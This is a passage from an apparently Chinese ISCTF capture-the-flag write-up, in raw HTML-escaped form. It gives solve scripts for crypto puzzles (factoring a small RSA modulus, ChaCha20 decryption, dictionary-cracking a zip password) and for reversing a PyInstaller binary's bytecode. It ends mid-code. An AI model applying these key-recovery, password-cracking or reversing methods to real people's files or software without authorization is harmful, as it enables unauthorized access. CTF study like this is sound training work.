decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;微信扫描即可获得flag&lt;/p&gt;&#xA;&lt;p&gt;冷知识：微信的扫码有自己的AI模型优化，所以真的挺强悍的！&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{Th3_ROmaNtic_Of_Rad1o}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;四crypto&#34;&gt;四、Crypto&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%9b%9bcrypto&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h4 id=&#34;我和小蓝鲨的秘密&#34;&gt;我和小蓝鲨的秘密&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%88%91%e5%92%8c%e5%b0%8f%e8%93%9d%e9%b2%a8%e7%9a%84%e7%a7%98%e5%af%86&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;加密代码：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from PIL import Image&#xA;from Crypto.Util.number import bytes_to_long, long_to_bytes&#xA;import numpy as np&#xA;&#xA;n = 29869349657224745144762606999&#xA;e = 65537&#xA;&#xA;original_image_path = &amp;quot;flag.jpg&amp;quot;&#xA;img = Image.open(original_image_path)&#xA;img = img.convert(&amp;quot;RGB&amp;quot;)&#xA;&#xA;img_array = np.array(img)&#xA;h, w, _ = img_array.shape&#xA;&#xA;encrypted_array = np.zeros((h, w, 3), dtype=object)&#xA;for i in range(h):&#xA;    for j in range(w):&#xA;        r, g, b = int(img_array[i, j, 0]), int(img_array[i, j, 1]), int(img_array[i, j, 2])&#xA;&#xA;        encrypted_array[i, j, 0] = pow(r, e, n)&#xA;        encrypted_array[i, j, 1] = pow(g, e, n)&#xA;        encrypted_array[i, j, 2] = pow(b, e, n)&#xA;&#xA;np.save(&amp;quot;encrypted_image.npy&amp;quot;, encrypted_array)&#xA;print(&amp;quot;图片已加密并保存为 encrypted_image.npy&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;解密代码：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import numpy as np&#xA;from PIL import Image&#xA;from Crypto.PublicKey import RSA&#xA;from Crypto.Util.number import inverse&#xA;from sympy import factorint&#xA;&#xA;# 定义 RSA 参数&#xA;n = 29869349657224745144762606999&#xA;e = 65537&#xA;&#xA;def factorize_n(n):&#xA;    # 使用现有库来进行质因数分解&#xA;    factors = factorint(n)&#xA;    if len(factors) == 2:  # 确保 n 有且仅有两个质因子&#xA;        p, q = list(factors.keys())&#xA;        return p, q&#xA;    return None, None&#xA;&#xA;# 计算 d&#xA;def calculate_private_key(p, q, e):&#xA;    # 计算欧拉函数 ϕ(n) = (p - 1) * (q - 1)&#xA;    phi_n = (p - 1) * (q - 1)&#xA;    # 使用扩展欧几里得算法计算 d&#xA;    d = inverse(e, phi_n)&#xA;    return d&#xA;&#xA;# 质因数分解 n&#xA;p, q = factorize_n(n)&#xA;if p is None or q is None:&#xA;    print(&amp;quot;未能成功分解 n 为质因数&amp;quot;)&#xA;else:&#xA;    print(f&amp;quot;n = {n} 的质因数为 p = {p}, q = {q}&amp;quot;)&#xA;    # 计算私钥 d&#xA;    d = calculate_private_key(p, q, e)&#xA;    print(f&amp;quot;计算得到的私钥 d = {d}&amp;quot;)&#xA;&#xA;    # 加载加密图像数据&#xA;    encrypted_array = np.load(&amp;quot;encrypted_image.npy&amp;quot;, allow_pickle=True)&#xA;&#xA;    # 获取图像的高度和宽度&#xA;    h, w, _ = encrypted_array.shape&#xA;&#xA;    # 使用numpy的object类型来处理大整数&#xA;    encrypted_array = encrypted_array.astype(object)  # 使用 object 类型来存储大整数&#xA;    decrypted_array = np.zeros((h, w, 3), dtype=np.uint8)  # 解密后的图像存储&#xA;&#xA;    # 使用向量化方法解密图像&#xA;    for i in range(h):&#xA;        for j in range(w):&#xA;            # 解密每个像素的 RGB 值&#xA;            for k in range(3):&#xA;                encrypted_pixel_value = encrypted_array[i, j, k]&#xA;                decrypted_pixel_value = pow(encrypted_pixel_value, d, n) % 256&#xA;                decrypted_array[i, j, k] = decrypted_pixel_value&#xA;&#xA;    # 将解密后的图像数组转换为图像&#xA;    decrypted_image = Image.fromarray(decrypted_array)&#xA;&#xA;    # 保存解密后的图像&#xA;    decrypted_image.save(&amp;quot;decrypted_flag.jpg&amp;quot;)&#xA;    print(&amp;quot;图片已解密并保存为 decrypted_flag.jpg&amp;quot;)&#xA;&#xA;&#xA;n = 29869349657224745144762606999 的质因数为 p = 186431677583461, q = 160216064374859&#xA;计算得到的私钥 d = 14529273505388659836222611033&#xA;图片已解密并保存为 decrypted_flag.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115223304280.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;chacha20-poly1305&#34;&gt;ChaCha20-Poly1305&lt;a class=&#34;heading-anchor&#34; href=&#34;#chacha20-poly1305&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;pre&gt;&lt;code&gt;from Crypto.Cipher import ChaCha20_Poly1305&#xA;import os&#xA;&#xA;key = os.urandom(32)&#xA;nonce = os.urandom(12)&#xA;&#xA;with open(&#39;flag.txt&#39;, &#39;rb&#39;) as f:&#xA;    plaintext = f.read()&#xA;&#xA;cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)&#xA;&#xA;ct, tag = cipher.encrypt_and_digest(plaintext)&#xA;&#xA;print(f&amp;quot;Encrypted Flag: {ct.hex()}&amp;quot;)&#xA;print(f&amp;quot;Tag: {tag.hex()}&amp;quot;)&#xA;print(f&amp;quot;Nonce: {nonce.hex()}&amp;quot;)&#xA;&#xA;with open(&#39;key.txt&#39;, &#39;w&#39;) as key_file:&#xA;    key_file.write(key.hex())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;直接调用了ChaCha20加密&lt;/p&gt;&#xA;&lt;p&gt;调用解密函数即可&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from Crypto.Cipher import ChaCha20_Poly1305&#xA;&#xA;key = bytes.fromhex(&amp;quot;173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135&amp;quot;)&#xA;ciphertext = bytes.fromhex(&amp;quot;20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb&amp;quot;)&#xA;tag = bytes.fromhex(&amp;quot;70ffcc508bf4519e7616f602123c307b&amp;quot;)&#xA;nonce = bytes.fromhex(&amp;quot;d8ebeedec812a6d71240cc50&amp;quot;)&#xA;&#xA;cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)&#xA;&#xA;plaintext = cipher.decrypt_and_verify(ciphertext, tag)&#xA;print(f&amp;quot;Decrypted Flag: {plaintext.decode()}&amp;quot;)&#xA;&#xA;Decrypted Flag: ISCTF{Blueshark_Swims_Through_ChaCha20_Poly1305}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;小蓝鲨的密码&#34;&gt;小蓝鲨的密码&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b0%8f%e8%93%9d%e9%b2%a8%e7%9a%84%e5%af%86%e7%a0%81&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115222125161.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;打开图片，&lt;img src=&#34;upload/image-20241115222135581.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;路在脚下，猜测压缩包密码为文件名bluesharkinfo&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115222209140.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;提取出一个密码字典&lt;/p&gt;&#xA;&lt;p&gt;遍历即可&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115222324636.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{good!_Welcome_blueshark!!!}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;五re&#34;&gt;五、Re&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e4%ba%94re&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h4 id=&#34;ezre&#34;&gt;Ezre&lt;a class=&#34;heading-anchor&#34; href=&#34;#ezre&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;exp：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def decrypt_flag(encrypted_flag, key):&#xA;    decrypted_flag = []&#xA;    key_length = len(key)&#xA;&#xA;    for i, char in enumerate(encrypted_flag):&#xA;        if &#39;A&#39; &amp;lt;= char &amp;lt;= &#39;Z&#39;:  # 仅处理大写字母&#xA;            encrypted_ascii = ord(char)&#xA;            key_ascii = ord(key[i % key_length])&#xA;            # 减去 key 对应的字符值，并调整到范围内&#xA;            decrypted_ascii = (encrypted_ascii - key_ascii) % 26 + ord(&#39;A&#39;)&#xA;            decrypted_flag.append(chr(decrypted_ascii))&#xA;        else:&#xA;            # 非大写字母直接保留&#xA;            decrypted_flag.append(char)&#xA;&#xA;    return &#39;&#39;.join(decrypted_flag)&#xA;&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    encrypted_flag = &amp;quot;QKEMK{7JB5_i5_W3SllD_3z_W3}&amp;quot;&#xA;    key = &amp;quot;ISCTF&amp;quot;&#xA;&#xA;    decrypted_flag = decrypt_flag(encrypted_flag, key)&#xA;    print(&amp;quot;解密后的 flag:&amp;quot;, decrypted_flag)&#xA;&#xA;ISCTF{7HI5_i5_R3AllY_3z_R3}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;py不好会被ban&#34;&gt;py不好，会被ban&lt;a class=&#34;heading-anchor&#34; href=&#34;#py%e4%b8%8d%e5%a5%bd%e4%bc%9a%e8%a2%abban&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件，一看这icon就知道是pyInstaller打包的，我们直接用pyinstxtractor解包。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731590059735-143a7ee5-8874-44ed-a72d-eb1ea58b3a89.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;用uncompyle6尝试解码，发现是python3.12编写，没法直接看代码，所以我们用pycdas读字节码来分析。&lt;/p&gt;&#xA;&lt;p&gt;可以发现里面只有两个函数：main 和 verify&lt;/p&gt;&#xA;&lt;p&gt;我们先看main：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; [Code]&#xA;            File Name: main.py&#xA;            Object Name: main&#xA;            Qualified Name: main&#xA;            Arg Count: 0&#xA;            Pos Only Arg Count: 0&#xA;            KW Only Arg Count: 0&#xA;            Stack Size: 6&#xA;            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)&#xA;            [Names]&#xA;                &#39;print&#39;&#xA;                &#39;input&#39;&#xA;                &#39;len&#39;&#xA;                &#39;ord&#39;&#xA;                &#39;verify&#39;&#xA;            [Locals+Names]&#xA;                &#39;language&#39;&#xA;                &#39;OO000&#39;&#xA;                &#39;language1&#39;&#xA;                &#39;OOO00&#39;&#xA;                &#39;len1&#39;&#xA;                &#39;itemm&#39;&#xA;                &#39;item&#39;&#xA;            [Constants]&#xA;                None&#xA;                &#39;Y0u k0nw what is the best language in the world???&#39;&#xA;                &#39;&#39;&#xA;                &#39;is_.py_not_py&#39;&#xA;                &#39;goOo0od!!!&#39;&#xA;                &#39;So,th3n???&#39;&#xA;                True&#xA;                &#39;very goOo0od!!!&#39;&#xA;                &#39;What a pity!!!T_T&#39;&#xA;                &#39;NoOo0o!!!T_T&#39;&#xA;            [Disassembly]&#xA;                0       RESUME                          0&#xA;                2       LOAD_GLOBAL                     1: NULL + print&#xA;                12      LOAD_CONST                      1: &#39;Y0u k0nw what is the best language in the world???&#39;&#xA;                14      CALL                            1&#xA;                22      POP_TOP&#xA;                24      LOAD_GLOBAL                     3: NULL + input&#xA;                34      CALL                            0&#xA;                42      STORE_FAST                      0: language&#xA;                44      BUILD_LIST                      0&#xA;                46      STORE_FAST                      1: OO000&#xA;                48      BUILD_LIST                      0&#xA;                50      STORE_FAST                      2: language1&#xA;                52      LOAD_CONST                      2: &#39;&#39;&#xA;                54      STORE_FAST                      3: OOO00&#xA;                56      LOAD_FAST                       0: language&#xA;                58      LOAD_CONST                      3: &#39;is_.py_not_py&#39;&#xA;                60      COMPARE_OP                      40 (==)&#xA;                64      POP_JUMP_IF_FALSE               130 (to 326)&#xA;                66      LOAD_GLOBAL                     1: NULL + print&#xA;                76      LOAD_CONST                      4: &#39;goOo0od!!!&#39;&#xA;                78      CALL                            1&#xA;                86      POP_TOP&#xA;                88      LOAD_GLOBAL                     1: NULL + print&#xA;                98      LOAD_CONST                      5: &#39;So,th3n???&#39;&#xA;                100     CALL                            1&#xA;                108     POP_TOP&#xA;                110     LOAD_GLOBAL                     3: NULL + input&#xA;                120     CALL                            0&#xA;                128     STORE_FAST                      3: OOO00&#xA;                130     LOAD_GLOBAL                     5: NULL + len&#xA;                140     LOAD_FAST                       3: OOO00&#xA;                142     CALL                            1&#xA;                150     STORE_FAST                      4: len1&#xA;                152     LOAD_FAST                       0: language&#xA;                154     GET_ITER&#xA;                156     LOAD_FAST_AND_CLEAR             5: itemm&#xA;                158     SWAP                            2&#xA;                160     BUILD_LIST                      0&#xA;                162     SWAP                            2&#xA;                164     FOR_ITER                        13 (to 192)&#xA;                168     STORE_FAST                      5: itemm&#xA;                170     LOAD_GLOBAL                     7: NULL + ord&#xA;                180     LOAD_FAST                       5: itemm&#xA;                182     CALL                            1&#xA;                190     LIST_APPEND                     2&#xA;                192     JUMP_BACKWARD                   15 (to 164)&#xA;                194     END_FOR&#xA;                196     STORE_FAST                      2: language1&#xA;                198     STORE_FAST                      5: itemm&#xA;                200     LOAD_FAST                       3: OOO00&#xA;                202     GET_ITER&#xA;                204     LOAD_FAST_AND_CLEAR             6: item&#xA;                206     SWAP                            2&#xA;                208     BUILD_LIST                      0&#xA;                210     SWAP                            2&#xA;                212     FOR_ITER                        13 (to 240)&#xA;                216     STORE_FAST                      6: item&#xA;                218     LOAD_GLOBAL                     7: NULL + ord&#xA;                228     LOAD_FAST                       6: item&#xA;                230     CALL                            1&#xA;                238     LIST_APPEND                     2&#xA;                240     JUMP_BACKWARD                   15 (to 212)&#xA;                242     END_FOR&#xA;                244     STORE_FAST                      1: OO000&#xA;                246     STORE_FAST                      6: item&#xA;                248     LOAD_GLOBAL                     9: NULL + verify&#xA;                258     LOAD_FAST                       1: OO000&#xA;                260     LOAD_FAST                       4: len1&#xA;                262     LOAD_FAST                       2: language1&#xA;                264     CALL                            3&#xA;                272     LOAD_CONST                      6: True&#xA;                274     IS_OP                           0 (is)&#xA;                276     POP_JUMP_IF_FALSE               12 (to 302)&#xA;                278     LOAD_GLOBAL                     1: NULL + print&#xA;                288     LOAD_CONST                      7: &#39;very goOo0od!!!&#39;&#xA;                290     CALL                            1&#xA;                298     POP_TOP&#xA;                300     RETURN_CONST                    0: None&#xA;                302     LOAD_GLOBAL                     1: NULL + print&#xA;                312     LOAD_CONST                      8: &#39;What a pity!!!T_T&#39;&#xA;                314     CALL                            1&#xA;                322     POP_TOP&#xA;                324     RETURN_CONST                    0: None&#xA;                326     LOAD_GLOBAL                     1: NULL + print&#xA;                336     LOAD_CONST                      9: &#39;NoOo0o!!!T_T&#39;&#xA;                338     CALL                            1&#xA;                346     POP_TOP&#xA;                348     RETURN_CONST                    0: None&#xA;                350     SWAP                            2&#xA;                352     POP_TOP&#xA;                354     SWAP                            2&#xA;                356     STORE_FAST                      5: itemm&#xA;                358     RERAISE                         0&#xA;                360     SWAP                            2&#xA;                362     POP_TOP&#xA;                364     SWAP                            2&#xA;                366     STORE_FAST                      6: item&#xA;                368     RERAISE                         0&#xA;        &#39;__main__&#39;&#xA;        None&#xA;    [Disassembly]&#xA;        0       RESUME                          0&#xA;        2       LOAD_CONST                      0: &amp;lt;CODE&amp;gt; verify&#xA;        4       MAKE_FUNCTION                   0&#xA;        6       STORE_NAME                      0: verify&#xA;        8       LOAD_CONST                      1: &amp;lt;CODE&amp;gt; main&#xA;        10      MAKE_FUNCTION                   0&#xA;        12      STORE_NAME                      1: main&#xA;        14      LOAD_NAME                       2: __name__&#xA;        16      LOAD_CONST                      2: &#39;__main__&#39;&#xA;        18      COMPARE_OP                      40 (==)&#xA;        22      POP_JUMP_IF_FALSE               8 (to 40)&#xA;        24      PUSH_NULL&#xA;        26      LOAD_NAME                       1: main&#xA;        28      CALL                            0&#xA;        36      POP_TOP&#xA;        38      RETURN_CONST                    3: None&#xA;        40      RETURN_CONST                    3: None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;分析前半部分：输出&amp;rsquo;Y0u k0nw what is the best language in the world???&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;判断输入是否为is_.py_not_py，是就进入下一个逻辑，否就退出。那么我们第一个解就是is_.py_not_py。&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 2       LOAD_GLOBAL                     1: NULL + print&#xA;                12      LOAD_CONST                      1: &#39;Y0u k0nw what is the best language in the world???&#39;&#xA;                14      CALL                            1&#xA;                22      POP_TOP&#xA;                24      LOAD_GLOBAL                     3: NULL + input&#xA;                34      CALL                            0&#xA;                42      STORE_FAST                      0: language&#xA;                44      BUILD_LIST                      0&#xA;                46      STORE_FAST                      1: OO000&#xA;                48      BUILD_LIST                      0&#xA;                50      STORE_FAST                      2: language1&#xA;                52      LOAD_CONST                      2: &#39;&#39;&#xA;                54      STORE_FAST                      3: OOO00&#xA;                56      LOAD_FAST                       0: language&#xA;                58      LOAD_CONST                      3: &#39;is_.py_not_py&#39;&#xA;                60      COMPARE_OP                      40 (==)&#xA;                64      POP_JUMP_IF_FALSE               130 (to 326)&#xA;                66      LOAD_GLOBAL                     1: NULL + print&#xA;                76      LOAD_CONST                      4: &#39;goOo0od!!!&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;接下来是第二个解。第二个解直接涉及到verify函数，我们来分析verify：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        [Code]&#xA;            File Name: main.py&#xA;            Object Name: verify&#xA;            Qualified Name: verify&#xA;            Arg Count: 3&#xA;            Pos Only Arg Count: 0&#xA;            KW Only Arg Count: 0&#xA;            Stack Size: 9&#xA;            Flags: 0x00000003 (CO_OPTIMIZED | CO_NEWLOCALS)&#xA;            [Names]&#xA;                &#39;range&#39;&#xA;                &#39;reverse&#39;&#xA;                &#39;len&#39;&#xA;            [Locals+Names]&#xA;                &#39;o0000&#39;&#xA;                &#39;len2&#39;&#xA;                &#39;language2&#39;&#xA;                &#39;enc&#39;&#xA;                &#39;i&#39;&#xA;                &#39;ii&#39;&#xA;                &#39;iii&#39;&#xA;                &#39;iiii&#39;&#xA;            [Constants]&#xA;                None&#xA;                (&#xA;                    25&#xA;                    85&#xA;                    88&#xA;                    62&#xA;                    105&#xA;                    93&#xA;                    110&#xA;                    124&#xA;                    1&#xA;                    97&#xA;                    46&#xA;                    47&#xA;                    75&#xA;                    5&#xA;                    116&#xA;                    48&#xA;                    2&#xA;                    25&#xA;                )&#xA;                1&#xA;                False&#xA;                True&#xA;            [Disassembly]&#xA;                0       RESUME                          0&#xA;                2       BUILD_LIST                      0&#xA;                4       LOAD_CONST                      1: (25, 85, 88, 62, 105, 93, 110, 124, 1, 97, 46, 47, 75, 5, 116, 48, 2, 25)&#xA;                6       LIST_EXTEND                     1&#xA;                8       STORE_FAST                      3: enc&#xA;                10      LOAD_GLOBAL                     1: NULL + range&#xA;                20      LOAD_FAST                       1: len2&#xA;                22      LOAD_CONST                      2: 1&#xA;                24      BINARY_OP                       10 (-)&#xA;                28      CALL                            1&#xA;                36      GET_ITER&#xA;                38      FOR_ITER                        19 (to 78)&#xA;                42      STORE_FAST                      4: i&#xA;                44      LOAD_FAST                       0: o0000&#xA;                46      LOAD_FAST                       4: i&#xA;                48      BINARY_SUBSCR&#xA;                52      LOAD_FAST                       0: o0000&#xA;                54      LOAD_FAST                       4: i&#xA;                56      LOAD_CONST                      2: 1&#xA;                58      BINARY_OP                       0 (+)&#xA;                62      BINARY_SUBSCR&#xA;                66      BINARY_OP                       12 (^)&#xA;                70      LOAD_FAST                       0: o0000&#xA;                72      LOAD_FAST                       4: i&#xA;                74      STORE_SUBSCR&#xA;                78      JUMP_BACKWARD                   21 (to 38)&#xA;                80      END_FOR&#xA;                82      LOAD_FAST                       0: o0000&#xA;                84      LOAD_ATTR                       3: reverse&#xA;                104     CALL                            0&#xA;                112     POP_TOP&#xA;                114     LOAD_GLOBAL                     1: NULL + range&#xA;                124     LOAD_FAST                       1: len2&#xA;                126     LOAD_CONST                      2: 1&#xA;                128     BINARY_OP                       10 (-)&#xA;                132     CALL                            1&#xA;                140     GET_ITER&#xA;                142     FOR_ITER                        19 (to 182)&#xA;                146     STORE_FAST                      5: ii&#xA;                148     LOAD_FAST                       0: o0000&#xA;                150     LOAD_FAST                       5: ii&#xA;                152     BINARY_SUBSCR&#xA;                156     LOAD_FAST                       0: o0000&#xA;                158     LOAD_FAST                       5: ii&#xA;                160     LOAD_CONST                      2: 1&#xA;                162     BINARY_OP                       0 (+)&#xA;                166     BINARY_SUBSCR&#xA;                170     BINARY_OP                       12 (^)&#xA;                174     LOAD_FAST                       0: o0000&#xA;                176     LOAD_FAST                       5: ii&#xA;                178     STORE_SUBSCR&#xA;                182     JUMP_BACKWARD                   21 (to 142)&#xA;                184     END_FOR&#xA;                186     LOAD_GLOBAL                     1: NULL + range&#xA;                196     LOAD_FAST                       1: len2&#xA;                198     CALL                            1&#xA;                206     GET_ITER&#xA;                208     FOR_ITER                        30 (to 270)&#xA;                212     STORE_FAST                      6: iii&#xA;                214     LOAD_FAST                       0: o0000&#xA;                216     LOAD_FAST                       6: iii&#xA;                218     COPY                            2&#xA;                220     COPY                            2&#xA;                222     BINARY_SUBSCR&#xA;                226     LOAD_FAST                       2: language2&#xA;                228     LOAD_FAST                       6: iii&#xA;                230     LOAD_GLOBAL                     5: NULL + len&#xA;                240     LOAD_FAST                       2: language2&#xA;                242     CALL                            1&#xA;                250     BINARY_OP                       6 (%)&#xA;                254     BINARY_SUBSCR&#xA;                258     BINARY_OP                       25 (^=)&#xA;                262     SWAP                            3&#xA;                264     SWAP                            2&#xA;                266     STORE_SUBSCR&#xA;                270     JUMP_BACKWARD                   32 (to 208)&#xA;                272     END_FOR&#xA;                274     LOAD_GLOBAL                     1: NULL + range&#xA;                284     LOAD_FAST                       1: len2&#xA;                286     CALL                            1&#xA;                294     GET_ITER&#xA;                296     FOR_ITER                        15 (to 328)&#xA;                300     STORE_FAST                      7: iiii&#xA;                302     LOAD_FAST                       0: o0000&#xA;                304     LOAD_FAST                       7: iiii&#xA;                306     BINARY_SUBSCR&#xA;                310     LOAD_FAST                       3: enc&#xA;                312     LOAD_FAST                       7: iiii&#xA;                314     BINARY_SUBSCR&#xA;                318     COMPARE_OP                      55 (!=)&#xA;                322     POP_JUMP_IF_TRUE                1 (to 326)&#xA;                324     JUMP_BACKWARD                   15 (to 296)&#xA;                326     POP_TOP&#xA;                328     RETURN_CONST                    3: False&#xA;                330     END_FOR&#xA;                332     RETURN_CONST                    4: True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;如果看着麻烦，直接让ChatGPT来好了：&lt;/p&gt;&#xA;&lt;p&gt;这个 &lt;code&gt;verify&lt;/code&gt; 函数的字节码可以用以下Python代码来表示。以下是分解后的逻辑步骤和完整的Python代码表示：&lt;/p&gt;&#xA;&lt;p&gt;分解步骤&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;**初始化列表 **&lt;code&gt;**enc**&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;创建一个列表 &lt;code&gt;enc&lt;/code&gt;，包含一组常量整数（可能用于后续的验证）。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;&lt;strong&gt;双重循环XOR处理&lt;/strong&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;第一次循环&lt;/strong&gt;：遍历 &lt;code&gt;o0000&lt;/code&gt; 中的元素，并逐个应用 XOR 操作。每个元素 &lt;code&gt;o0000[i]&lt;/code&gt; 会与 &lt;code&gt;o0000[i+1]&lt;/code&gt; 进行 XOR，结果存储回 &lt;code&gt;o0000[i]&lt;/code&gt;。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;第二次循环&lt;/strong&gt;：&lt;code&gt;o0000&lt;/code&gt; 列表被逆序排列后，再次对其进行相同的 XOR 处理。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;**第三次循环基于 **&lt;code&gt;**language2**&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;遍历 &lt;code&gt;o0000&lt;/code&gt; 的每个元素，将每个元素与 &lt;code&gt;language2&lt;/code&gt; 列表中的相应元素（基于模运算 &lt;code&gt;%&lt;/code&gt; 的索引）进行 XOR 运算，并将结果存储回 &lt;code&gt;o0000[i]&lt;/code&gt;。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&#34;4&#34;&gt;&#xA;&lt;li&gt;&lt;strong&gt;与&lt;/strong&gt; &lt;code&gt;**enc**&lt;/code&gt; &lt;strong&gt;对比&lt;/strong&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;遍历 &lt;code&gt;o0000&lt;/code&gt; 和 &lt;code&gt;enc&lt;/code&gt;，逐元素比对。如果任何元素不匹配，返回 &lt;code&gt;False&lt;/code&gt;。如果所有元素匹配，返回 &lt;code&gt;True&lt;/code&gt;。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;完整Python代码表示&lt;/p&gt;&#xA;&lt;p&gt;以下是对 &lt;code&gt;verify&lt;/code&gt; 函数字节码的等价Python代码&lt;/p&gt;&#xA;&lt;p&gt;解释&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;这段代码利用多次 XOR 操作和与 &lt;code&gt;enc&lt;/code&gt; 列表的最终比对来验证输入。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;如果 &lt;code&gt;o0000&lt;/code&gt; 列表在每个步骤后符合预期并最终匹配 &lt;code&gt;enc&lt;/code&gt; 列表，则返回 &lt;code&gt;True&lt;/code&gt;，否则返回 &lt;code&gt;False&lt;/code&gt;。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;以上是gpt的回答，可以看到字节码直接被转换为python代码，非常易读。&lt;/p&gt;&#xA;&lt;p&gt;也就是说这个算法与xor有关，那我们分析其流程，就能写出rev.py&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def reverse_verify(enc, language2):&#xA;    len2 = len(enc)  # 假设 o0000 的长度与 enc 相同&#xA;    o0000 = enc[:]   # 初始化为 enc 的拷贝，用于逐步还原&#xA;&#xA;    # 第三次 XOR 循环的逆运算&#xA;    for iii in range(len2):&#xA;        o0000[iii] ^= language2[iii % len(language2)]&#xA;    &#xA;    # 第二次 XOR 循环的逆运算（在反转顺序前执行）&#xA;    for ii in reversed(range(len2 - 1)):&#xA;        o0000[ii] ^= o0000[ii + 1]&#xA;    &#xA;    # 反转 o0000 列表&#xA;    o0000.reverse()&#xA;    &#xA;    # 第一次 XOR 循环的逆运算&#xA;    for i in reversed(range(len2 - 1)):&#xA;        o0000[i] ^= o0000[i + 1]&#xA;    &#xA;    return o0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;使用方法&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# 假设 language2 